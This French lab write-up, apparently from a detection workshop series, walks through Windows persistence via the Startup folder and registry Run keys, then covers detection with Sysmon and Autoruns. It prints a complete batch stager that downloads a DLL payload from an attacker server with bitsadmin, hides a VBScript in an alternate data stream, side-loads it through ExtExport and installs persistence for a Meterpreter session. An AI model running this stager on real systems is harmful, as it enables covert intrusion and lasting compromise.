Nous continuons dans cet article la série Code Execution and Persistence du workshop Attack Detection Fundamentals de F-Secure.
Après avoir exécuté du code en imitant les TTP utilisés par le malware Astaroth dans le dernier lab, nous poursuivons avec la troisème étape du framework MITRE ATT&CK, la phase de persistance. [1]
Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. [2]
Dans ce lab, nous allons utiliser deux techniques de persistance bien connues qui consistent à ajouter du code au processus de démarrage en modifiant les clés d’exécution du registre ou le dossier de démarrage. [3,4,5,6]
Dossier Startup:
Une méthode de persistance consiste à créer un exécutable dans le dossier “Startup”
Source: [6]
Path: C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Exécution avec les privilèges de l’utilisateur.
Dans le cas de privilèges administrateur: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
Dans ce cas, le payload s’exécute à chaque fois qu’un utilisateur se log
Registry Run Keys:
En ajoutant une entrée au registre “Run Keys”, il est possible de faire exécuter du code chaque fois que le système démarre ou que l’utilisateur se connecte. [7,8,9,10]
Cette méthode est utilisée par plusieurs malware dont Trickbot [11]
HKEY_CURRENT_USER
(HKCU)
Les entrées ajoutées aux Run Keys du Current User Registry Hive (HKCU) sont exécutées à chaque démarrage de l’utilisateur.
Emplacements les plus courants:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
Commande pour ajouter une clé: REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v <name> /t REG_SZ /d <filepath>
HKEY_LOCAL_MACHINE
(HKLM)
L’ajout d’une entrée dans les Run Keys du System or Local Machine Registry Hive (HKLM) permet l’exécution à chaque fois qu’un utilisateur se connecte.
Emplacements:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
Commande: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v <name> /t REG_SZ /d <filepath>
Autres emplacements:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Dans le cas du malware Astaroth, les attaquants utilisent HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Lab
Dans ce lab, nous reprenons le même setup que dans le lab précédent soit une VM Kali et une VM Win 7.
Nous utiliserons également la même méthode que dans le lab précédent pour l’exécution de code (abus de ADS, DLL Side-Loading, abus de BITSAdmin et d’ExtExport).
Toutefois, nous modifierons le stager afin d’y ajouter les deux méthodes de persistance suivantes:
- Ajout du payload dans le dossier de démarrage
copy <filepath> "C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<filename>"
- Création d’une clé de registre pointant sur le payload
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /f /v StartUp /t REG_SZ /d <filepath>
Flags:
/f - ajouter l’entrée sans demander de confirmation. /v - nom de l’entrée. /t - type de l’entrée. /d - données de l’entrée.
Stager v2 Code:
Le nouveau stager stager.cmd
devient:
@echo off
setlocal enabledelayedexpansion
set SERVER=http://<IP>/
set PATH_PUBLIC_DIR=C:\Users\Public\Libraries\raw\
rem Create the target directoty if it does not exist.
if not exist "%PATH_PUBLIC_DIR%" mkdir %PATH_PUBLIC_DIR%
set PAYLOAD_DLL=payload.dll
set TARGET_ADS=desktop.ini
set LAUNCHER_LNK=launcher.lnk
set LAUNCHER_CREATE_VBS=launcher_create.vbs
set URL_PAYLOAD_DLL=%SERVER%%PAYLOAD_DLL%
rem ExtExport.exe looks for any DLL with the following names.
set EXTEXPORT_DLLS[1]=mozcrt19.dll
set EXTEXPORT_DLLS[2]=mozsqlite3.dll
set EXTEXPORT_DLLS[3]=sqlite3.dll
rem Select one DLL filename at random.
set /a _rand=%RANDOM% %% 3 + 1
set EXTEXPORT_DLL=!EXTEXPORT_DLLS[%_rand%]!
set PATH_EXTEXPORT_DLL=%PATH_PUBLIC_DIR%%EXTEXPORT_DLL%
set PATH_LAUNCHER_LNK=%PATH_PUBLIC_DIR%%LAUNCHER_LNK%
set PATH_LAUNCHER_CREATE_VBS=%PATH_PUBLIC_DIR%%LAUNCHER_CREATE_VBS%
set PATH_LAUNCHER_CREATE_ADS=%PATH_PUBLIC_DIR%%TARGET_ADS%:%LAUNCHER_CREATE_VBS%
set PATH_EXTEXPORT_EXE=C:\Program Files\Internet Explorer\Extexport.exe
set EXTEXPORT_ARGS=C:\Users\Public\Libraries\raw foo bar
rem Download the renamed DLL payload from the server.
bitsadmin /transfer 2 /priority FOREGROUND %URL_PAYLOAD_DLL% %PATH_EXTEXPORT_DLL%
rem Use a temporary VBScript to create the LNK launcher.
rem The launcher will take the renamed DLL payload and load it using ExtExport.
echo Set oWS = WScript.CreateObject("WScript.Shell") > %PATH_LAUNCHER_CREATE_VBS%
echo sLinkFile = "%PATH_LAUNCHER_LNK%" >> %PATH_LAUNCHER_CREATE_VBS%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %PATH_LAUNCHER_CREATE_VBS%
echo oLink.TargetPath = "%PATH_EXTEXPORT_EXE%" >> %PATH_LAUNCHER_CREATE_VBS%
echo oLink.Arguments = "%EXTEXPORT_ARGS%" >> %PATH_LAUNCHER_CREATE_VBS%
echo oLink.Save >> %PATH_LAUNCHER_CREATE_VBS%
rem Copy the launcher creation VBScript to the Alternate Data Stream (ADS) of desktop.ini and erase it.
type %PATH_LAUNCHER_CREATE_VBS% > %PATH_LAUNCHER_CREATE_ADS% && erase %PATH_LAUNCHER_CREATE_VBS%
rem Execute the launcher creation VBScript from the Alternate Data Stream (ADS).
cscript %PATH_LAUNCHER_CREATE_ADS%
rem #############################################################################
rem Persistence Code Added Here
rem ---------------------------
rem Copy the Launcher to the user's startup folder.
copy %PATH_LAUNCHER_LNK% "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\%LAUNCHER_LNK%"
rem Add a registry key to the run keys in the user registry hive.
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /f /v StartUp /t REG_SZ /d %PATH_LAUNCHER_LNK%
rem ###########################################################################
rem Execute the LNK launcher. This will use ExtExport.exe to side load and execute the DLL payload.
start /b %PATH_LAUNCHER_LNK%
Schéma de l’attaque:
Source: [1]
Après avoir modifié le stager, relancer l’attaque sur la VM Win 7
Résultat:
On a une session Meterpreter.
On peut voir que le fichier launcher.lnk
a bien été copié dans le fichier de démarrage:
Lancer regedit en tant qu’admin et aller à HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
On voit que la clé Startup
contient le path du payload C:\Users\Public\Libraries\raw\launcher.lnk
Redémarrer la VM Win 7 et se loguer avec le même utilisateur. Entre temps relancer le listener.
Résultat:
On a une nouvelle session après le redémarrage de la VM Win 7.
Analyse
Autoruns de Sysinternals:
Normalement on devrait avoir des indicateurs sur les fichiers exécutés au démarrage en utilisant Autoruns [11,12].
Sysmon:
Afin de détecter cette attaque, nous avons besoin de loguer les evenements Sysmon 11, 12 et 13 [13]
- EID 11: File Creation
- EID 12 et 13: Registry Key Changes
Pour cela on va utiliser le fichier de configuration Sysmon sysmonconfig.xml [14, 15]:
sysmon -i sysmonconfig.xml
Résultat:
Pour le moment, on ne trouve pas d’événements 12 ou 13 car les règles de config de Sysmon qu’on vient d’installer sont trop restrictives..
On modifie sysmonconfig.xml
pour y ajouter une nouvelle règle afin de loguer les événements liés aux registres [16]: (Shell Folders)
Reconfigurer sysmon: sysmon -u
puis sysmon -i sysmonconfig.xml
Relancer l’attaque (penser à enlever la clé Startup dans Regedit et à clearer le dossier Startup avant de relancer l’attaque)
Résultats:
- Evt id 12:
- Evt id 13:
- Evt id 1:
Règle Sigma:
Génération de la règle en powershell:
Ne détecte rien car dans notre cas le path est CurrentVersion\Explorer\Shell Folders
Conclusion
Dans ce lab, nous avons étudié deux méthodes de persistance: la création de fichier dans le dossier Startup et l’utilisation de clé de registres.
Ces attaques sont détectables, notamment en analysant le fichier journal Sysmon. Toutefois, il convient de configurer correctement Sysmon pour collecter tous les événements pertinents pour l’analyse.
Références
[1] F-Secure, Attack Detection Fundamentals: Code Execution and Persistence - Lab #2, https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-2
[2] MITRE ATT&CK, Persistence, https://attack.mitre.org/tactics/TA0003/
[3] RedCanary, Windows Registry Attacks: Knowledge Is the Best Defense, https://redcanary.com/blog/windows-registry-attacks-threat-detection/
[3] Cyberg Security, Hunting for Persistence: Registry Run Keys / Startup Folder, https://www.cyborgsecurity.com/cyborg_labs/hunting-for-persistence-registry-run-keys-startup-folder/
[4] MITRE ATT&CK, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, https://attack.mitre.org/techniques/T1547/001/
[5] Azeria, Persistence, https://azeria-labs.com/persistence/
[6] Microsoft, Run and RunOnce Registry Keys, https://docs.microsoft.com/en-gb/windows/win32/setupapi/run-and-runonce-registry-keys?redirectedfrom=MSDN
[7] FuzzySecurity, Windows Userland Persistence Fundamentals, https://www.fuzzysecurity.com/tutorials/19.html
[8] Blackberry, Windows Registry Persistence, Part 2: The Run Keys and Search-Order, https://blogs.blackberry.com/en/2013/09/windows-registry-persistence-part-2-the-run-keys-and-search-order
[9] Pentester Lab, Persistence – Registry Run Keys, https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/
[10] MBC Project, Registry Run Keys / Startup Folder, https://github.com/MBCProject/mbc-markdown/blob/master/persistence/registry-run-startup.md
[11] Microsoft, Autoruns for Windows v13.98, https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
[12] HowToGeek, Using Autoruns to Deal with Startup Processes and Malware, https://www.howtogeek.com/school/sysinternals-pro/lesson6/
[13] Microsoft, Sysmon v12.03, https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
[14] Sysinternals Tool Sysmon Usage Tips and Tricks, https://blog.51sec.org/2018/09/sysmon-usage-tips-and-tricks.html
[15] Sophos, How to install and use Sysmon for malware investigation, https://support.sophos.com/support/s/article/KB-000038882?language=en_US
[16] Roberto Rodriguez, Setting up a Pentesting… I mean, a Threat Hunting Lab - Part 6, https://cyberwardog.blogspot.com/2017/02/setting-up-pentesting-i-mean-threat_87.html
Poursuivez avec :
This work is licensed under a Creative Commons Attribution 4.0 International License.